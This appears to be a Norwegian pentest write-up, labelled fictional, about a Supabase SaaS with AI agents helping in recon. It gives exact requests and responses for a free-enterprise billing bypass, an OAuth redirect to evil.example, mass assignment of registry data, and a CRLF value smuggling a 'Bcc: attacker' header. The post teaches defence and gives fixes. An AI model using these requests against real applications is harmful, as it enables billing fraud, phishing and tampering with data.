Fakturaen som aldri ble betalt — billing-bypass i en Supabase edge function
- #pentest
- #supabase
- #billing-bypass
- #oauth
- #security
- #ai
FIKTIVT: Alle firmanavn, personnavn, domener og e‑postadresser i dette innlegget er oppdiktet. Eventuell likhet med ekte virksomheter eller personer er tilfeldig. Detaljer fra reelle oppdrag er sanert.
Brunost AS (brunostas.no) kjører en SaaS som gir bedrifter en poengsum basert
på Brønnøysund-registerdata og regnskapsintegrasjoner. Backend er Supabase —
PostgREST, GoTrue-auth, edge functions. Frontend er en Next.js-SPA på Vercel.
Oppdraget var en ekstern pentest av hele stakken, og det funnet som satte
tonen var ikke et minnekorruption eller en injeksjon — det var en edge
function som aksepterte paymentMethod: "invoice" og ga deg et aktiv
enterprise-abonnement uten å betale en krone.
Det funnet er High, og det er det jeg vil vise helt ut: forutsetninger, den eksakte forespørselen, responsen, den negative kontrollen, og hva det låste opp av andre funn. I tillegg kommer to funn som ble mer interessante fordi billing-bypassen eksisterte.
Kontekst
Scope var brunostas.no (web, auth, Supabase BaaS) og et relatert domene.
To kontrollerte testkontoer ble registrert og verifisert — Bruker A og Bruker
B, i hver sin tenant. Jeg kjører slike oppdrag med AI i loopen: agenter gjør
recon, kartlegger endepunkter, skriver og kjører scripts, og jeg styrer
scope, prioriterer, verifiserer og tar de vurderingene som krever
menneskedømmekraft.
Første steg var å la en agent hente den offentlige anon-nøkkelen fra
SPA-bundlen, kartlegge GoTrue-settings, enumerere PostgREST-tabeller og
edge functions. AI-en spytter ut et overflatedekke raskt — verdien ligger i
å skille ekte hull fra støy, og det er der jeg bruker tiden.
F-01: Gratis enterprise via create-checkout
Hva jeg fant
Edge function create-checkout tar en JSON-body med plan, interval,
paymentMethod, companyId og et invoice-objekt. Når paymentMethod er
"invoice", returnerer den {"invoicePending":true} og oppretter en rad i
subscriptions med plan=enterprise, status=active,
invoice_status=pending. Ingen betaling behandles. Kontoen behandles som et
aktivt enterprise-abonnement.
Dette er samme klasse feil som RLS-posten om abonnementsplanen — tilstanden som bestemmer tilgang ligger i en brukerskrivbar rad — men mekanismen er annerledes: her er det en edge function som gjør jobben, ikke en direkte PostgREST-PATCH.
PoC / Reproduksjon
Forutsetninger: innlogget som Bruker A (verifisert e-post, gyldig JWT),
companyId tilhører A. anon-nøkkelen er offentlig og ligger i
front-end-bundlen.
-
Hent
anon-nøkkelen fra SPA-bundlen (AI-en fant den i en minified JS-chunk). -
Logg inn og hent et access token:
curl -s -X POST "https://auth.brunostas.no/auth/v1/token?grant_type=password" \
-H "apikey: <ANON>" \
-H "Content-Type: application/json" \
-d '{"email":"[email protected]","password":"<REDACTED>"}'- Send checkout-forespørselen med
paymentMethod: "invoice":
POST /functions/v1/create-checkout HTTP/1.1
Host: brunost.supabase.co
apikey: <ANON>
Authorization: Bearer <REDACTED>
Content-Type: application/json
{
"plan": "enterprise",
"interval": "year",
"paymentMethod": "invoice",
"companyId": "11111111-1111-4111-8111-111111111111",
"invoice": {
"companyName": "POC-BILLING-BYPASS",
"orgNumber": "999999999",
"email": "[email protected]",
"address": "Testveien 1"
}
}HTTP/1.1 200 OK
Content-Type: application/json
{"invoicePending":true}- Verifiser at abonnementet er aktivt:
GET /rest/v1/subscriptions?select=plan,status,invoice_status,payment_method&order=created_at.desc&limit=1 HTTP/1.1
Host: brunost.supabase.co
apikey: <ANON>
Authorization: Bearer <REDACTED>[{"plan":"enterprise","status":"active","invoice_status":"pending","payment_method":"invoice"}]status=active er poenget. Abonnementet er ikke pending eller trial —
det er aktivt enterprise, og enterprise-gatede funksjoner låses opp.
- Negativ kontroll — send samme forespørsel med
paymentMethod: "card"(forventet: en Stripe checkout-URL, ikke et aktivt abonnement):
{"url":"https://checkout.stripe.com/c/pay/cs_test_abc123..."}Med card returneres en Stripe checkout-URL og ingen subscriptions-rad
opprettes før betalingen er gjennomført. Med invoice opprettes raden
umiddelbart. Det er forskjellen: invoice-stien stoler på en klientpåstand
om at fakturaen kommer til å bli betalt, i stedet for å vente på
bekreftelse.
Denne PoC-en oppretter et ekte Stripe-fakturaobjekt. Jeg kjørte den én gang mot min egen testkonto og ryddet opp etterpå. Ikke kjør den i en løkke eller mot ekte kundedata.
Mitigering
Ikke sett status=active før fakturaen faktisk er betalt. Lytt på
invoice.paid eller payment_intent.succeeded fra Stripe-webhooken og
oppdater subscriptions-raden først da. Alternativt: krev manuell
godkjenning eller Stripe-fakturafinalisering før enterprise-tilgang
provisjoneres.
- const { data, error } = await supabase
- .from('subscriptions')
- .insert({ plan, status: 'active', invoice_status: 'pending' })
+ // Don't provision until Stripe webhook confirms payment
+ const { data, error } = await supabase
+ .from('subscriptions')
+ .insert({ plan, status: 'pending', invoice_status: 'pending' })F-03: OAuth redirect_to uten allow-list
Hva jeg fant
GoTrue sin /auth/v1/authorize-endpoint reflekterer redirect_to-parameteren
ukritisk inn i providerens OAuth-URL. Test med https://evil.example,
//evil.example og https://[email protected] — alle ble
reflektert i Location-headeren.
Feilveier (avbrutt OAuth, feil credentials) baker riktig til
www.brunostas.no. Suksessveien kunne jeg ikke teste uten en ekte
Google/LinkedIn-konto, men den ukritiske refleksjonen er bekreftet.
Dette er samme klasse funn som dukket opp i
kontaktskjema-posten
og i WordPress/e-post-posten:
uvalidert redirect kombinert med manglende e-postautentisering (SPF, DKIM,
DMARC p=none på brunostas.no) gir en realistisk phishing-kjede.
PoC
curl -s -D - -o /dev/null \
-G "https://auth.brunostas.no/auth/v1/authorize" \
-H "apikey: <ANON>" \
--data-urlencode "provider=google" \
--data-urlencode "redirect_to=https://evil.example.com/steal" \
| grep -i "^location:"location: https://accounts.google.com/o/oauth2/v2/auth?...redirect_to=https://evil.example.com/steal...redirect_to sitter ukodet i providerens autoriserings-URL. GoTrue kan
validere — feilveien (avbrutt OAuth, feil credentials) baker riktig til
www.brunostas.no:
curl -s -D - -o /dev/null \
-G "https://auth.brunostas.no/auth/v1/authorize" \
-H "apikey: <ANON>" \
--data-urlencode "provider=google" \
--data-urlencode "redirect_to=https://evil.example.com/steal" \
--data-urlencode "code_challenge=invalid" \
| grep -i "^location:"location: https://www.brunostas.no/?error=...Så validatoren finns. Den trigges bare ikke på suksessveien. Det er det som gjør funnet troverdig: koden for å avvise uvaliderte redirects er der, den kjører bare på feilpathen.
Hvis callbacken på suksessveien også bruker redirect_to, kan en
phishing-e-post (levert fra en forfalsket @brunostas.no-adresse — SPF,
DKIM og DMARC p=none var alle fraværende) sende offeret til angriperen
med sesjonen i URL-fragmentet. Jeg kunne ikke bekrefte suksessveien uten
en ekte Google/LinkedIn-konto, men refleksjonen er bekreftet.
Mitigering
Allow-list redirect_to til registrerte callback-URLer. Implementer SPF,
DKIM og DMARC p=reject på brunostas.no. High —
suksessveien er ikke bekreftet utnyttet, men refleksjonen pluss manglende
e-postautentisering gjør kjeden troverdig.
F-04: Mass-assignment av Brønnøysund-metadata
Hva jeg fant
PostgREST-PATCH på companies og user_profiles aksepterer endring av
server-kontrollerte kolonner. På companies: brreg_synced_at,
brreg_checked_at, brreg_raw, created_at, updated_at. På
user_profiles: first_name, last_name, onboarding_completed_at,
last_active_at.
brreg_raw er det mest interessante: det er det rå responsobjektet fra
Brønnøysund-registeret, som appen bruker til å beregne poengsum og vise
"registerverifisert"-status. En angriper kan forfalske dette til å se ut som
om selskapet har spesifikke registeregenskaper.
Dette ble mer interessant fordi billing-bypassen ga enterprise-tilgang, som igjen låser opp integrasjons-synk-funksjoner som forbruker disse dataene.
PoC
PATCH /rest/v1/companies?id=eq.11111111-1111-4111-8111-111111111111 HTTP/1.1
Host: brunost.supabase.co
apikey: <ANON>
Authorization: Bearer <REDACTED>
Content-Type: application/json
Prefer: return=representation
{"brreg_synced_at":"2020-01-01T00:00:00+00:00","brreg_checked_at":"2020-01-01T00:00:00+00:00","brreg_raw":{"forged":true}}[{"brreg_synced_at":"2020-01-01T00:00:00+00:00","brreg_checked_at":"2020-01-01T00:00:00+00:00","brreg_raw":{"forged":true}}]Radene oppdateres og returneres. brreg_raw kan settes til et vilkårlig
JSON-objekt — det er det Brønnøysund-responsen normalt sett lagres som, og
det er det appen leser for å beregne poengsum og vise "registerverifisert".
En angriper kan altså forfalske hele registergrunnlaget for sin egen
bedrift: konkurstatus, VAT-registrering, under avvikling — alle feltene
appen stoler på for scoring.
Negativ kontroll — prøv å sette role='admin' på user_profiles:
PATCH /rest/v1/user_profiles?user_id=eq.11111111-1111-4111-8111-111111111111 HTTP/1.1
Authorization: Bearer <REDACTED>
{"role":"admin"}HTTP/1.1 403 ForbiddenRLS-policyen for role-kolonnen holder. Det er de andre kolonnene som er
åpne — og role er den eneste som har en WITH CHECK-policy. Det er
mønsteret: én kolonne beskyttet, resten glemt.
Mitigering
Fjern server-kontrollerte kolonner fra PostgREST sin UPDATE-grant. Bruk
WITH CHECK-policies som avviser endringer av brreg_*, created_at,
updated_at, source. Bruk DEFAULT now() og triggers for tidsstempler.
Medium — tilliten til registerdata undergraves, men det krever en innlogget bruker og påvirker bare egne data.
F-02: Regresjonen som kom tilbake
Under runde 6 av testingen fant jeg at RLS INSERT-policyen på financials
og integrations hadde regressert: Bruker A kunne sette inn rader med
company_id tilhørende Bruker B. Det var et klassisk cross-tenant-brudd —
High i sin egen rett, spesielt fordi
synk-funksjonene forbruker disse radene.
Jeg rapporterte det. Det ble fikset. Så i en senere syklus testet jeg på nytt — og det var åpent igjen. Regresjon. Rapportert på nytt. Fikset.
På den endelige retesten (siste dagen av oppdraget) sendte jeg INSERT-forespørselen en gang til:
POST /rest/v1/financials HTTP/1.1
Host: brunost.supabase.co
Authorization: Bearer <REDACTED>
Content-Type: application/json
{"company_id":"22222222-2222-4222-8222-222222222222","cash":12345,"source":"fiken_sync"}{"code":"42501","message":"new row violates row-level security policy for table \"financials\""}403. Den holdt. Men det at den brøt to ganger i løpet av oppdraget er et
signal: RLS-policyer er skjøre, og det finnes ingen CI-regresjonstest som
fanger opp at en INSERT-policy blir reversert.
Dette er nøyaktig det cross-tenant-posten fra
juli
handler om — forskjellen er at her brøt den faktisk, to ganger, før den
holdt. Legg til en CI-test som kjører cross-tenant INSERT på financials
og integrations ved hver deploy.
F-05: CRLF i fakturafeltene
invoice.companyName og invoice.address i create-checkout aksepterer
literal \r\n. Bytene lagres i subscriptions.invoice_company_name og
invoice_address og videresendes til Stripe sin faktura-API.
printf 'POC-CRLF\r\nBcc: [email protected]' | xxd | head -2
# 00000000: 504f 432d 4352 4c46 0d0a 4263 636f ...invoice.email er validert og avviser CRLF — så valideringen finns, den
er bare ikke påfelt på companyName og address. Bekreftelse med en
hex-dump av den lagrede verdien i subscriptions-tabellen:
curl -s -G "https://brunost.supabase.co/rest/v1/subscriptions" \
-H "apikey: <ANON>" \
-H "Authorization: Bearer <REDACTED>" \
--data-urlencode "select=invoice_company_name" \
--data-urlencode "order=created_at.desc&limit=1" \
| jq -r '.[0].invoice_company_name' | xxd | head -300000000: 504f 432d 4352 4c46 0d0a 4263 636f 3a20 POC-CRLF..Bcc:
00000010: 6174 7461 636b 6572 4065 6d61 6c75 7065 attacker@emalupe
00000020: 2e63 6f6d .com
0d0a (CRLF) sitter i den lagrede verdien og videresendes til Stripe sin
faktura-API. Medium — potensiell log/CSV-splitting
eller Stripe e-post-header-manipulering, men jeg beviste ingen nedstrøms-sink
utover at bytene lagres og videresendes.
Blindveier og falske positiver
Ikke alt som så ut som et funn overlevde verifisering. Noen eksempler:
admin-listedge function returnerte403for alle ikke-admin brukere. AI-en flagget den som en potensiell BFLA, men RLS-policyen foruser_profiles.roleholdt —PATCH role='admin'ble avvist. Det var ikke et funn, det var en vellykket forsvarslinje.nango-connectogshared-scoresedge functions forsvant midt i oppdraget (begge returnerte404). De hadde vært flagget i tidligere runder. Enten ble de fjernet eller flyttet — uansett var de ikke lenger angripbare.- Cross-tenant SELECT ble aldje åpnet. RLS-policyen for lesing holdt hele veien. AI-en prøvde flere varianter (kolonne-probing, schema-bouncing, RPC-omveier) — alle blokkert. Det er en negativ kontroll på systemnivå: lese-isolasjonen var solid, selv når skrive-isolasjonen brøt.
Verktøy og hvem som kjørte hva
- Recon og overflatekartlegging: AI-agenter hentet
anon-nøkkelen fra SPA-bundlen, kartla GoTrue-settings, enumererte PostgREST-tabeller og edge functions. Jeg satte scope og verifiserte funn. - PostgREST-testing: AI-genererte curl-scripts for INSERT/PATCH/DELETE på alle tilgjengelige tabeller, kjørt i parallelle lanes mot to testkontoer. Jeg brøt inn for å verifisere cross-tenant-funn med en uavhengig andre konto.
- Billing-bypass: AI-en identifiserte
paymentMethod: "invoice"-stien fra edge function-koden i bundlen. Jeg verifiserte med en manuell curl og sjekketsubscriptions-tabellen. - OAuth redirect: enkel curl mot
/auth/v1/authorizemedredirect_to. AI-en genererte test-payloads; jeg verifiserte at feilveien baker riktig. - CRLF: AI-generert script med
printf '\r\n'i JSON-body, bekreftet medxxdav lagret verdi. - Retest: alle funn ble retestet på siste dag med ferske tokens. Cross-tenant INSERT holdt (403), billing-bypass holdt (200), mass-assignment holdt (200).
Hva jeg lærte
- Edge functions som provisjonerer tilgang før bekreftelse er den nye
RLS-feilen. En edge function som stoler på en klientpåstand
(
paymentMethod: "invoice") er like farlig som en RLS-policy som glemmerWITH CHECK— kanskje mer, fordi den er vanskeligere å se. - Billing-bypass forsterker alt annet. Gratis enterprise låste opp
integrasjonssynk, som forbruker
financialsogintegrations-rader, som (i regresjonsperioden) kunne settes inn cross-tenant. Et medium-funn ble en kjede. - RLS-regresjoner er et CI-problem. At en INSERT-policy brøt to ganger i løpet av et oppdrag betyr at ingenting fanger opp at den reverseres. En 10-linjers test som kjører cross-tenant INSERT ved hver deploy hadde stoppet begge regresjonene.
- Én kolonne med
WITH CHECKer ikke nok.user_profiles.rolevar beskyttet;brreg_raw,created_at,updated_atvar ikke. Mønsteret er at den åpenbare sensitive kolonnen får en policy, og de subtile server-kontrollerte feltene glemmes. - Suksessveien i OAuth er den vanskelige å teste. Feilveien baker riktig. Suksessveien krever en ekte provider-konto, og uten den kan jeg bekrefte refleksjonen men ikke utnyttelsen. Det er ærlig å si det, og det er forskjellen mellom High og Medium.
- Validering som finnes på ett felt og ikke et annet er et mønster.
invoice.emailavviste CRLF;invoice.companyNameoginvoice.addressaksepterte det.user_profiles.rolehaddeWITH CHECK;brreg_rawhadde det ikke. Når du finner én kolonne beskyttet og naboen ikke, test alle feltene i samme tabell — det er sjelden bare én som mangler.
Veien videre
Hvis jeg skulle gjort noe annerledes: jeg ville registrert en ekte Google-konto tidligere i oppdraget for å teste OAuth-suksessveien. Det er det eneste funnet der jeg måtte stoppe ved "refleksjon bekreftet, utnyttelse ikke bekreftet" — og det er en viktig forskjell i alvorlighetsgrad.
Neste gang jeg tester en Supabase-app vil jeg også lete etter edge functions som provisjonerer tilstand før en webhook bekrefter det. Det er den klassen feil som RLS-testing alene ikke fanger.